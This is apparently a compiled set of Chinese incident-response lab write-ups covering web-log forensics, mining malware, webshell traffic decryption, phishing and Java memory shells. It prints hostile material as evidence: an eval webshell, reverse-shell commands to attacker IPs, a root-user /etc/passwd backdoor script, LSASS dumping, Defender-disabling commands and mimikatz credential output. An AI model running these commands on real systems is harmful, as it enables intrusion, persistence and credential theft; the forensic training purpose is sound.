往下翻滾的過程中,可以看到,攻擊者在進行大量的 fuzz 目錄。
▲ 攻擊成功的日誌
終於,在接近日誌檔案末尾的地方,發現了幾行日誌:
192.168.141.55 - - [29/Apr/2023:22:45:23 +0800] "POST /index.php/action/login?_=139102b0477b064f9cf570483837d74c HTTP/1.1" 302 5 "http://192.168.141.188/manage/login.php?referer=http%3A%2F%2F192.168.141.188%2Fmanage%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0"192.168.141.55 - - [29/Apr/2023:22:45:23 +0800] "GET /manage/ HTTP/1.1" 302 5 "http://192.168.141.188/manage/login.php?referer=http%3A%2F%2F192.168.141.188%2Fmanage%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0"192.168.141.55 - - [29/Apr/2023:22:45:23 +0800] "GET /manage/welcome.php HTTP/1.1" 200 10013 "http://192.168.141.188/manage/login.php?referer=http%3A%2F%2F192.168.141.188%2Fmanage%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0"
在嘗試了幾次 login 方法之後。終於,在 29/Apr/2023:22:45:23 時,成功訪問到了 welcome.php 頁面。
這也就以為這對方登入成功。
所以,根據這條日誌,可以確定:
flag1:攻擊成功時間
flag{2023:04:29 22:45:23}
flag2:攻擊者瀏覽器版本
flag{Firefox/110.0}
結合開始的日誌資訊:
flag3:目錄掃描工具名(不需要版本號)
flag{*Fuzz Faster U Fool}*
▲ 登入成功之後的日誌
可以看到,這小子登入成功之後,先是嘗試了一波 wordpress 自定義主題修改模組
用過 wordpress 的應該比較清楚,wordpress 的自定義主題修改模組存在非常多的漏洞。如:命令執行、程式碼注入、檔案上傳等
在自定義主題模組,嘗試 theme-editor 主題編輯器,修改了一個 post.php 的檔案,然後在後面,又呼叫 x.php 檔案執行了 cmd 命令。
所以: post.php 和 x.php 這兩個檔案,應該是接下來的重點。
而 x.php 的引數為 cmd,也就是說,flag4 中需要的後門檔案,應該就是它,上伺服器,找到完整路徑即可。
它是在 url 中用 get 請求訪問的,所以直接在 web 的目錄下找就行了。
▲ .x.php 的路徑
特喵的 ~ flag4 我提交了 3 次都提示錯誤,搞得我都要懷疑人生了。
才發現,人家是 .x.php 呀,前面還有個 "點" 呢?怪我眼瞎咯...
flag4:惡意後門檔案完整名稱
flag{C:\phpstudy_pro\WWW.x.php}
至於 flag5,隱藏在 web 正常應用中的 惡意程式碼,嚯,這小子剛才在那兒呼叫 theme-editor 主題編輯器修改 post.php, 想都不用想,肯定在幹壞事。
▲ post.php 中的惡意程式碼
flag5:隱藏在正常web應用程式碼中的惡意程式碼,提交該檔名(完整路徑)
C:\phpstudy_pro\WWW\usr\themes\default\post.php
最後一隻 flag,可疑程序自啟動的指令碼名稱。
總算是上了一丟丟小難度,沒辦法直接在日誌裡面找了。
靶場時間還快到了,最後一個 flag 了,害,續費 5 金幣吧。
繼續,emmm,先看一眼自啟動資料夾
▲ Windows 的 Startup 目錄
空的,看來不在這兒。
只有一個 C 盤,自啟檔案能放哪兒去,也沒幾個目錄,點開 Windows,按修改時間排序。
這不,驚喜就來了嘛。
一個詭異的 360.exe,一個熟悉的 x.bat
▲ 疑似自啟指令碼
開啟這個 x.bat 看一下內容,基本沒跑了,大機率這個 x.bat 就是自啟指令碼了。
但目前還沒有證據而已。
▲ x.bat 的內容
反正是做題嘛,試著提交一下,又不扣分。
flag6:自啟指令碼的名字(這個又不要完整路徑了...)
flag:{C:\Windows\x.bat}
*flag:{x.bat}*
*果然,蒙對了...*
▲ 搞定,完成挑戰
看著這個倒數計時就來氣... 還有 40 多分鐘...
算了,花了錢的.. 接著找找 x.bat 自啟動的原理吧。
計劃任務、自啟任務啥的看了一眼,沒什麼發現,最終放大招,直接在登錄檔,發現了這個。
▲ 登錄檔中的自啟任務
根據登錄檔的路徑,可以看出,這是組策略裡面的自啟任務,於是,上組策略裡面確認一下。
第五章 linux實戰-挖礦Writeup
一、簡介 靶機名:第五章 linux實戰-挖礦 靶機賬號/密碼:root/websecyjxy
二、題目 應急響應工程師在內網伺服器發現有臺主機 cpu 佔用過高,猜測可能是中了挖礦病毒,請溯源分析,提交對應的報告給應急小組。
1、駭客的IP是? flag格式:flag{駭客的ip地址},如:flag{127.0.0.1}
2、駭客攻陷網站的具體時間是? flag格式:flag{年-月-日 時:分:秒},如:flag{2023-12-24 22:23:24}
3、駭客上傳webshell的名稱及密碼是? flag格式:flag{駭客上傳的webshell名稱-webshell密碼},如:flag{webshell.php-pass} 4、 駭客提權後設定的後門檔名稱是? flag格式:flag{後門檔案絕對路徑加上名稱},如:flag{/etc/passwd}
5、排查出駭客進行挖礦的痕跡,獲取最終的Flag。
三、WriteUp
1、在以下檔案獲取到網站訪問日誌,分析可得出在進行目錄掃描操作,即可獲取駭客的IP: /www/admin/websec_80/wwwroot/nginx_access_2023-12-22.log
2、分析日誌發現駭客訪問了/dede路徑,判斷dedecms搭建,使用弱口令登入後臺, 後臺地址:/dede 賬號:admin 密碼:12345678 在系統使用者管理功能發現駭客建立的hacker使用者,登入時間即為駭客攻陷網站的時間,
3、將網站原始碼打包下載到本地,然後使用D盾進行分析,得到駭客上傳的webshell,
webshell是加密的,使用echo即可獲取原始php程式碼,
即可獲知webshell名稱及密碼:
//執行以下php程式碼:
<?php
echo(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')))
?>
//結果:
eval($_POST['cmd']);
4、檢視root使用者的歷史命令,發現find被賦予了suid許可權,駭客可以使用suid提權做後門,
駭客執行以下命令即可從服務許可權提升到root許可權,即find檔案被做了後門, find / -exec 任意命令 {} \;
5、挖礦木馬一般以計劃任務方式下載執行,檢視root使用者的計劃任務,
常規命令無法查詢,可以獲取/etc/crontab檔案內容檢視所有的計劃任務,分析得出駭客透過curl命令訪問三個外部的惡意URL,之後再使用wget命令來下載其可執行檔案ldm,
可知挖礦木馬的名稱為ldm,查詢挖礦木馬在本機上的位置,
下載到本地進行分析,均為挖礦木馬的功能函式程式碼,逐行進行分析,
在691行的一段python程式碼比較可疑,進行base64解碼,
nohup python2 -c "import base64;exec(base64.b64decode('aW1wb3J0IHRpbWUKd2hpbGUgMToKICAgIHByaW50KCJmbGFne3dlYnNlY19UcnVlQDg4OCF9IikKICAgIHRpbWUuc2xlZXAoMTAwMCk='))" >/dev/null 2>&1
即可獲得最終的flag,解碼內容如下:
import time
while 1:
print("flag{websec_True@888!}")
time.sleep(1000)
四、flag 1、駭客的IP是? flag{192.168.10.135}
2、駭客攻陷網站的具體時間是? flag{2023-12-22 19:08:34}
3、駭客上傳webshell的名稱及密碼是? flag{404.php-cmd}
4、駭客提權後設定的後門檔名稱是? flag{/usr/bin/find}
5、排查出駭客進行挖礦的痕跡,獲取最終的Flag。 flag{websec_True@888!}
第五章 linux實戰-挖礦 二
1.找出被駭客修改的系統別名,並將倒數第二個別名作為Flag值提交; 直接輸入alias命令檢視當前所有的別名
答案:flag{userdel}
找出系統中被植入的後門使用者刪除掉,並將後門使用者的賬號作為Flag值提交(多個使用者名稱之間以英文逗號分割,如:admin,root); 直接檢視etc/passwd檔案,檢視所有的賬戶
答案:flag{sclipicibosu}
找出駭客在admin使用者家目錄中新增的ssh後門,將後門的寫入時間作為Flag值(提交的時間格式為:2022-01-12 08:08:18)
直接進入/home/admin目錄,然後執行ls -al即可看到.ssh目錄,通常是存放當前使用者ssh 私鑰的目錄,然後執行stat authorized_keys
答案: flag{2022-09-14 15:04:47}
找出駭客篡改過的環境變數檔案,將檔案的md5值作為Flag值提交;
進入root使用者的家目錄cd ~ 然後檢視當前目錄下的環境變數檔案.bashrc,
然後執行
-bash-4.2# md5sum .bashrc
d847ea4b317c880c3854418503d11470 .bashrc
答案:flag{d847ea4b317c880c3854418503d11470}
找出駭客修改了bin目錄下的某個檔案,將該檔案的格式作為Flag值提交
執行命令ls -lt /usr/bin | head -n 10 檢視/usr/bin最近改動的前十個檔案
注意時間,這個檔案是駭客攻擊之後改動的一個檔案,所有大機率是這個檔案了,對不對嘗試提交一下就知道了
-bash-4.2# file /usr/bin/sshd
/usr/bin/sshd: ASCII text
-bash-4.2#
答案:flag{ASCII text}
** 找出駭客植入系統中的挖礦病毒,將礦池的錢包地址作為Flag值(提交格式為:0xa1d1fadd4fa30987b7fe4f8721b022f4b4ffc9f8)提交**
在/home/admin目錄下有一個奇怪的檔案,cat一下就能可能答案了
答案: flag{0xd281ffdd4fb30987b7fe4f8721b022f4b4ffc9f8}
第五章 linux實戰-CMS01
題解
登入虛擬機器:
修改皮膚密碼
提交攻擊者IP
答案:192.168.20.1
檢視寶塔日誌即可
用的net直接是閘道器
提交攻擊者修改的管理員密碼(明文)
答案:Network@2020
檢視資料庫表(x2_user)
發現passwod加密在程式碼中尋找加密邏輯並進行逆推
提交第一次Webshell的連線URL
答案:index.php?user-app-register
登入後臺後發現木馬寫在了註冊協議,註冊協議的路由為user-app-register
提交Webshell連線密碼
答案:Network2020
提交資料包的flag1
答案:flag1{Network@_2020_Hack}
下載root下的資料包
追流可以發現flag1
提交攻擊者使用的後續上傳的木馬檔名稱
答案:version2.php
經典的冰蠍Webshell特徵
提交攻擊者隱藏的flag2
答案:flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}
在/www/wwwroot/127.0.0.1/.api/alinotify.php
提交攻擊者隱藏的flag3
答案:flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}
第五章 Windows 實戰-evtx 檔案分析
1.將駭客成功登入系統所使用的IP地址作為Flag值提交;
篩選安全日誌4624,登入成功,找最早登入的
flag{192.168.36.133}
2.駭客成功登入系統後修改了登入使用者的使用者名稱,將修改後的使用者名稱作為Flag值提交;
篩選安全日誌4781,賬戶名稱已更改
舊賬戶名:Administrator 新賬戶名:Administratro
flag{Adnimistartro}
3.駭客成功登入系統後成功訪問了一個關鍵位置的檔案,將該檔名稱(檔名稱不包含字尾)作為Flag值提交; 篩選安全日誌4663,嘗試訪問物件 檢測未經授權訪問檔案和資料夾的行為
flag{SCHEMA}
4.駭客成功登入系統後重啟過幾次資料庫服務,將最後一次重啟資料庫服務後資料庫服務的程序ID號作為Flag值提交; 根據上述駭客攻擊的時間段,為2020年10月8日 篩選應用程式日誌記錄時間為2020年10月8日,來事件源為MySQL
CTRL+F 搜尋start,定位到最後一次啟動資料庫,程序為8820
flag{8820}
5.駭客成功登入系統後修改了登入使用者的使用者名稱並對系統執行了多次重啟操作,將駭客使用修改後的使用者重啟系統的次數作為Flag值提交。
篩選系統日誌1074,計算機開機、關機、重啟的時間、原因、註釋
計算機為WIN-B1B1T3K57G9
CTRL+F 搜尋Administratro,找對成對的記錄,2次重啟,1次關機
flag{3}
參考:windows安全事件檢視及安全事件id彙總 https://blog.csdn.net/qq_45825991/article/details/115577680
第五章 linux實戰-黑鏈
找到黑鏈新增在哪個檔案 flag 格式 flag{xxx.xxx}
訪問首頁
搜尋"黑鏈"
flag{/var/www/html/usr/themes/default/header.php}
webshell的絕對路徑 flag{xxxx/xxx/xxx/xxx/}
D盾掃一下
flag{/var/www/html/usr/themes/default/404.php}
駭客注入黑鏈檔案的 md5 md5sum file flag{md5}
感覺更準確應該是注入Webshell的檔案
flag{10c18029294fdec7b6ddab76d9367c14}
攻擊入口是哪裡?url請求路徑,最後面加/ flag{/xxxx.xxx/xxxx/x/}
發現寫入Webshell的是js檔案,可能存在XSS漏洞。搜尋一下 找到這個 https://blog.mo60.cn/index.php/archives/Typecho-1-2-xss2rce.html 環境給了流量包 output.pcap 搜尋發現 /index.php/archives/1/ 嵌入了poc1.js
flag{/index.php/archives/1/}
第六章 蟻劍流量分析
- 蟻劍連線密碼
- 駭客執行的第一個命令是什麼 因為找的是第一個命令,所以從第一個流中檢視 url解碼後,根據蟻劍的特性,傳參的第三位開始才是真正的引數,將其複製base64解碼
- 讀取了哪個檔案內容 在第三個流中看到linux的賬號資訊,同樣的操作,url解碼,base64解碼獲取到原始命令(這裡也是很顯然這就是讀取的檔案內容,這個內容是/etc/passwd的)
- 駭客上傳了什麼檔案到伺服器
- 檔案內容是什麼
- 在第四個流中發現伺服器返回一個莫名其妙的東西,根據蟻劍特性很可能就是檔案上傳成功,重複之前的操作,url解碼
- 蟻劍上傳檔案,它的檔案內容會被16進位制編碼,第一個和第二個引數分別進行解碼
- 下載的檔名是什麼 在第六個流中發現了檔案內容 url解碼後發現存在嘗試開啟檔案讀取的操作 base64解碼找到下載檔案
第六章 流量特徵分析-螞蟻愛上樹
前言:題目可知攻擊者對伺服器進行了許可權提升、許可權維持的工作,所有我們要復原出所有的攻擊流量。 下面我 列出了攻擊者的所有行為,具體如何解包不詳細展開。
- C:/phpStudy/PHPTutorial/WWW/onlineshop/database/onlineshop.sql
- C:/
- cd /d "C:/phpStudy/PHPTutorial/WWW/onlineshop"&ls&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&dir&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&whoami&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&whoami /priv&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&systeminfo&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&dir c:&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&dir c:\temp&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net user&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net localgroup administrators&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net group "domain group" /domain&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net group "domain admins" /domain&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net view&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net share&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&rundll32.exe comsvcs.dll, MiniDump 852 C:\Temp\OnlineShopBackup.zip full&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&dir c:\temp&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&rundll32.exe comsvcs.dll, MiniDump 852 C:\OnlineShopBackup.zip full&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&ls&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&dir&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"© store.php c:\temp&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&dir c:\temp&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&powershell -ep bypass Set-Mppreference -DisableRaltimeMonitoring $true&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&powershell -ep bypass Set-Mppreference -DisableRealtimeMonitoring $true&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&powershell -ep bypass Get-MpComputerStatus&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&rundll32.exe comsvcs.dll, MiniDump 852 C:\temp\OnlineShopBackup.zip full&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&dir c:\temp&echo [S]&cd&echo [E]
- C:/phpStudy/
- C:/Temp/
- C:/Temp/OnlineShopBack.zip
- C:/Windows/
- C:/Windows/Temp/
- cd /d "C:/phpStudy/PHPTutorial/WWW/onlineshop"&dir c:\windows\system32&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&dir c:\windows\config&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net user&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net user admin Password1 /add&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net localgroup administrators admin /add&echo [S]&cd&echo [E]
- cd /d "C:\phpStudy\PHPTutorial\WWW\onlineshop"&net user&echo [S]&cd&echo [E
1.由以上36條命令可以知曉,第一題 admin 的密碼為 Password1
2.由以上26 條命令可以知曉,第二題 lassa.exe 的程序 id 為852,這裡用到了使用rundll32直接執行comsvcs.dll的匯出函式MiniDump來Dump程序記憶體
3.透過流量報文分析,發現轉儲出了 OnlineShopBackup.zip 檔案,該檔案存在在了 30 條命令中,我們對其進行匯出,使用二進位制檔案開啟發現其為.dmp 檔案但無法正常開啟,對比常規dmp 檔案發現檔案頭多了e1c1709 這幾個字元,刪除後檔案恢復正常。
4.使用 mimikatz載入 dmp檔案:
sekurlsa::minidump C:\Desktop\mimikatz_trunk\Win32\test.dmp
5.獲取密文:
sekurlsa::logonpasswords
msv :
[00000003] Primary
* Username : win101
* Domain : VULNTARGET
* NTLM : 282d975e35846022476068ab5a3d72df
* SHA1 : bc9ecca8d006d8152bd51db558221a0540c9d604
* DPAPI : 8d6103509e746ac0ed9641f7c21d7cf7
tspkg :
wdigest :
* Username : win101
* Domain : VULNTARGET
* Password : (null)
kerberos :
* Username : win101
* Domain : VULNTARGET.COM
* Password : (null)
ssp :
credman :
cloudap :
6.進行密碼碰撞,使用 hashcat 或者線上破解NTLM即可,最終 win101的密碼 為 admin#123.
第六章 流量特徵分析-waf 上的截段
1、http contains"/admin/login"&&http.request.method==POST 拉到最後找到倆: ip 233的是:hr123456 ,ip 59的是admin!@#pass123 很明顯攻擊看流量攻擊者是ip為59的使用者 admin!@#pass123,記住對應資料包:733517
2、data-text-lines contains "flag";這個題出的就是為做題,沒啥意義 能找到不少含有flag的網頁,只看733517資料包後面的流量 flag:87b7cb79481f317bde90c116cf36084b
3、data-text-lines contains "database" ,有點偷懶了,實戰中還是要了解攻擊過程進行木馬a.php後門賬戶等清除滴 既然是資料庫密碼,就搜資料庫相關就可以了,開發一般的命名習慣都這樣,dbname、dbhost也行 找找就有了:$dbpass = "e667jUPvJjXHvEUv"
第六章-哥斯拉4.0流量分析
1、駭客的IP是什麼?
wireshark分析 條件設定 http.request , 掃描、漏洞利用行為明顯的就是了
flag{---}
2、駭客是透過什麼漏洞進入伺服器的?(提交CVE編號)
wireshark分析發現是透過 tomcat manager PUT上傳的,搜尋一下相關CVE的是 Apache Tomcat Remote Code Execution via JSP upload (CVE-2017-12615 / CVE-2017-12617)
flag{---}
3、駭客上傳的木馬檔名是什麼?(提交檔名)
wireshark分析 比較明顯
flag{---}
4、駭客上傳的木馬連線密碼是什麼?
題目已提示了哥斯拉4.0,找對應文章學習一下就好,抓包裡引數名字本身也沒有混淆
flag{---}
5、駭客上傳的木馬解密金鑰是什麼?
同4
flag{---}
6、駭客連線webshell後執行的第一條命令是什麼?
https://cyberchef.org/
根據哥斯拉4.0的特徵組裝一下流程
請求解密
URL_Decode()
From_Base64('A-Za-z0-9+/=',true,false)
AES_Decrypt({'option':'UTF8','string':'1710acba6220f62b'},{'option':'Hex','string':''},'ECB','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''})
Gunzip()
響應體解密
Find_/_Replace({'option':'Simple string','string':'B333AF03A314E0FB'},'',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'0F00BC7E2672E1F5'},'',true,false,true,false)
From_Base64('A-Za-z0-9+/=',true,false)
AES_Decrypt({'option':'UTF8','string':'1710acba6220f62b'},{'option':'Hex','string':''},'ECB','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''})
Gunzip()
flag{---}
部分命令應是shell自行拼接的,寫分號後面的
7、駭客連線webshell時查詢當前shell的許可權是什麼?
flag{---}
8、駭客利用webshell執行命令查詢伺服器Linux系統發行版本是什麼?
關注響應體
flag{---}
9、駭客利用webshell執行命令還查詢並過濾了什麼?(提交整條執行成功的命令)
flag{dpkg -l libpam-modules:amd64}
10、駭客留下後門的反連的IP和PORT是什麼?(IP:PORT)
哥斯拉的命令執行裡面翻到的,base64編碼的反連
echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d
flag{---}
11、駭客透過什麼檔案留下了後門?
透過哥斯拉上傳了檔案,並且上機分析,透過history命令可以查到替換了pam_unix.so
flag{---}
12、駭客設定的後門密碼是什麼?
上機分析
pam_unix="evil.so" start="(strings "{pam_unix}" | grep "bad username [%s]" -A 1 | tail -n 1)" end="(strings "{pam_unix}" | grep "auth could not identify password for" -B 1 | head -n 1)"
參考:https://gist.github.com/bcoles/b66c0116daa1d1d2623e0d2a2795304f
flag{---}
13、駭客的惡意dnslog伺服器地址是什麼?
wireshark分析,不要忘記把最後的.加上
flag{---}
第六章 流量特徵分析-小王公司收到釣魚郵件
第一題
直接尋找http流量 或者直接Ctrl+F搜尋w0ks 找到請求條目後檢視相應的response magic code 有PK的就是下載的resp
第二題
將resp請求包的Data段右鍵,匯出分組位元組流,儲存為zip即可 然後對zip進行md5校驗certutil -hashfile <檔案拖進來> MD5
第三題
問下載的域名,分析js指令碼 先將指令碼內的所有註釋去掉:/\*.+?\*/替換為空掉就行 然後將最下面的東西去掉,然後對指令碼進行分析,他是將所有字串分割後組裝來逃避waf的 所以我們直接搜尋字串+= ':';即可,可以快速找到拼接url的地方,然後將這段程式碼放在瀏覽器裡執行就可以快速拿到下載地址了
題目答案
- flag{tsdandassociates.co.sz/w0ks//?YO=1702920835}
- flag{f17dc5b1c30c512137e62993d1df9b2f}
- flag{shakyastatuestrade.com}
第六章 流量特徵分析-常見攻擊事件 tomcat
1、在web伺服器上發現的可疑活動,流量分析會顯示很多請求,這表明存在惡意的掃描行為,透過分析掃描的行為後提交攻擊者IP flag格式:flag{ip},如:flag{127.0.0.1}
過濾Http 隨便翻翻都可以發現是攻擊者ip
flag{14.0.0.120}
2、找到攻擊者IP後請透過技術手段確定其所在地址 flag格式: flag{城市英文小寫}
https://chaipip.com/aiwen.html
flag{guangzhou}
3、哪一個埠提供對web伺服器管理皮膚的訪問? flag格式:flag{2222}
過濾manage
flag{8080}
4、經過前面對攻擊者行為的分析後,攻擊者運用的工具是? flag格式:flag{名稱}
過濾http後 可以看到下面很多404的
404肯定是用工具進行爆破失敗的。直接追蹤流 看指紋
flag{gobuster}
5、攻擊者拿到特定目錄的線索後,想要透過暴力破解的方式登入,請透過分析流量找到攻擊者登入成功的使用者名稱和密碼? flag格式:flag{root-123}
看流量可以發現對 manager進行了爆破
直接看返回200的上一個 分組20553這一個
追蹤流 看請求包 翻下面會發現有一個Authorization欄位
解密
flag{admin-tomcat}
6、攻擊者登入成功後,先要建立反彈shell,請分析流量提交惡意檔案的名稱? flag格式:flag{114514.txt}
之前在翻流的時候就發現有反彈shell的相關訊息
我們往前追蹤
可以發現上一個流上傳了一個war包
有經驗的人肯定能大概才出來這個就是馬
我們直接將其匯出來看看
用原始資料檢視
war包與zip一樣 檔案頭是 50 4b 03 04 檔案尾 50 4B 05 06
找到檔案頭尾複製下來
然後16進位制轉字元儲存下來
暫時無法在飛書文件外展示此內容
用壓縮包開啟可以發現有一個jsp檔案
暫時無法在飛書文件外展示此內容
Gpt分析一下
flag{JXQOZY.war}
7、攻擊者想要維持提權成功後的登入,請分析流量後提交關鍵的資訊? flag提示,某種任務裡的資訊
在9461流裡面可以發現將反彈shell的命令寫進了定時任務
flag{/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'}
第七章 常見攻擊事件分析--釣魚郵件
一、請分析獲取駭客傳送釣魚郵件時使用的IP
在釣魚郵件的eml檔案中搜尋from,最後一個from就是駭客傳送釣魚郵件時使用的IP地址:121.204.224.15。
flag{121.204.224.15}
二、請分析獲取駭客釣魚郵件中使用的木馬程式的控制端IP
透過Content-Transfer-Encoding: base64得知郵件正文使用的是base64編碼。
將郵件正文儲存到txt檔案中,使用命令cat 郵件正文.txt | base64 -d解碼,獲得郵件正文內容,得知壓縮包到解壓密碼是:2021@123456。
將郵件附件儲存到txt檔案中,使用命令cat 釣魚附件.txt | base64 -d | less解碼並檢視,從檔案開頭的PK得知郵件附件是zip壓縮包,因為PK是發明zip壓縮格式的作者姓名縮寫。
使用命令cat 釣魚附件.txt | base64 -d > 釣魚附件.zip解碼並儲存到zip檔案中,並用密碼解壓,最終獲得程式:終端自查工具.exe。
將程式上傳到上檔案沙箱中分析,獲得木馬程式的控制端IP:107.16.111.57。
flag{107.16.111.57}
三、駭客在被控伺服器上建立了webshell,請分析獲取webshell的檔名
使用D盾分析/var/www/html/中的檔案,發現webshell的檔名:/var/www/html/admin/ebak/ReData.php。
flag{/var/www/html/admin/ebak/ReData.php}
四、駭客在被控伺服器上建立了內網代理隱蔽通訊隧道,請分析獲取該隧道程式的檔名
在/var/tmp/proc/my.conf中發現疑似隧道代理的配置。
使用命令./mysql -h檢視/var/tmp/proc/mysql程式的幫助資訊,確認該程式是隧道程式。
flag{/var/tmp/proc/mysql}
第八章 記憶體馬分析-java01-nacos
1、nacos 使用者密碼的密文值作為 flag 提交 flag {密文}在 conf/nacos-mysql.sql 檔案中找到密碼flag{$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu}2、shiro 的 key 為多少 shiro 的 key 請記錄下來flag{KduO0i+zUIMcNNJnsZwU9Q==}3、靶機核心版本為uname -rflag{5.4.0-164-generic}4、嘗試應急分析,執行 get_flag 然後嘗試 check_flag 透過後提交 flagcat /etc/passwd發現 bt 為最高許可權使用者,進行刪除userdel bt此使用者正在執行一些服務,無法刪除。直接修改 /etc/passwd 檔案進行刪除5、嘗試修復 nacos 並且自行用 poc 測試是否成功8848 埠執行 nacos 服務掃描出幾個漏洞進行逐一修復第一個未授權http://68.79.11.194:8848/nacos/v1/auth/users?pageNo=1&pageSize=9在 conf/application.properties 開啟鑑權
1 2 3 4 | nacos.core.auth.enabled=true nacos.core.auth.enable.userAgentAuthWhite=false nacos.core.auth.server.identity.key=key nacos.core.auth.server.identity.value=value |
---|---|
第八章 - 記憶體馬分析 - Java02-Shiro
利用上一題獲取的 shiro key 攻擊後進行應急1、將 shiro 的 key 作為 flag 提交flag{KduO0i+zUIMcNNJnsZwU9Q==}2、隱藏使用者後刪除,並將隱藏使用者名稱作為 flag 提交8088 執行著 Shiro 服務cat /etc/passwdflag{guest}3、分析 app.jar 檔案是否存在後門,並把後門路由名稱作為 flag 提交新增一個使用者利用 ssh 進行連線
#!/bin/bash
echo "system:adk6oNRwypFwA:0:0:eval_to_root:/root:/bin/bash" >> /etc/passwd && echo "PermitRootLogin yes" >> /etc/ssh/sshd_config && /etc/init.d/ssh restart
echo IyEvYmluL2Jhc2gKCmVjaG8gInN5c3RlbTphZGs2b05Sd3lwRndBOjA6MDpldmFsX3RvX3Jvb3Q6L3Jvb3Q6L2Jpbi9iYXNoIiA+PiAvZXRjL3Bhc3N3ZCAmJiBlY2hvICJQZXJtaXRSb290TG9naW4geWVzIiA+PiAvZXRjL3NzaC9zc2hkX2NvbmZpZyAmJiAvZXRjL2luaXQuZC9zc2ggcmVzdGFydA==|base64 -d > /tmp/ssh.sh`
連線 `ssh system/admin123
下載app.jar檔案
使用java反編譯軟體 jadx 進行反編譯
發現這裡有漏洞(後門),有一個路由 /exec 接受一個引數 cmd 的傳值
if (cmd != null) { if (System.getProperty("os.name").toLowerCase().contains("win")) { p = new ProcessBuilder("cmd.exe", "/c", cmd); } else { p = new ProcessBuilder("/bin/sh", "-c", cmd); }
獲取作業系統名稱並將其轉換為小寫,檢查其是否包含 "win" 字串。如果作業系統是 Windows,則執行 cmd.exe 命令和/c 引數建立一個新的 ProcessBuilder 物件。/c 引數用於告訴 cmd.exe 執行指定的命令並立即終止。如果作業系統不是 Windows,則執行 Unix/Linux shell 命令。使用 /bin/sh 和 -c 引數建立一個新的 ProcessBuilder 物件。-c 引數用於告訴 shell 執行指定的命令。這樣會導致任意命令執行,攻擊者可以透過 cmd 引數執行任意系統命令
flag{/exec}`
4、分析 app.jar 檔案,將後門的密碼作為 flag 提交`flag{cmd}
第八章 記憶體馬分析-java03-fastjson
fastjson結合c3p0不出網利用打入記憶體馬
1、埠掃描發現8088埠開放,存在web頁面。
2、web頁面存在一個登入框,請求中去掉一個},發生報錯,但未回顯fastjson相關字元,推測可能對錯誤頁進行了簡單修改。
3、直接探測fastjson版本,依舊沒探測到發fastjson相關欄位。
4、uniqude編碼後再試試,成功回顯fastjson版本,可能原因是程式碼中加了一層waf,過濾了一些如@type欄位。
5、Fastjson1.2.47版本以下存在mappings快取通殺繞過,利用的方式為JNDI,但不要忘了JNDI的利用是有一定條件的:
- 非嚴格意義的出網,比如這裡我們控制了外網主機,可以使用該主機作為server端提供ldap或rmi
- 受到JDK版本限制,JDK8u191後受到trusturlcodebase限制遠端載入,但也有繞過方法。這裡因為機器內JDK版本較高,JNDI注入並不太合適,所以需要找其他利用鏈。
